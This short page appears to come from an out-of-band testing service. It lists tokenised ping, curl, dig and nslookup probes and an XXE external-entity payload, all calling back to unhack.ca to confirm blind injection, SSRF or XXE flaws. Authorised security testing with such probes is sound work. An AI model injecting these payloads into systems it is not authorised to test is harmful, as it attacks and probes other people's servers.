$ ping -c1 -p 008e679d74b8c6a9272794b96e947100 unhack.ca
 

$ curl http://unhack.ca/p/8e679d74b8c6a9272794b96e9471
 

$ dig 8e679d74b8c6a9272794b96e9471 @unhack.ca
 

$ dig 8e679d74b8c6a9272794b96e9471.ns.unhack.ca
 

C:\> nslookup 8e679d74b8c6a9272794b96e9471 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e679d74b8c6a9272794b96e9471">]>
    <foo>&xxe;</foo>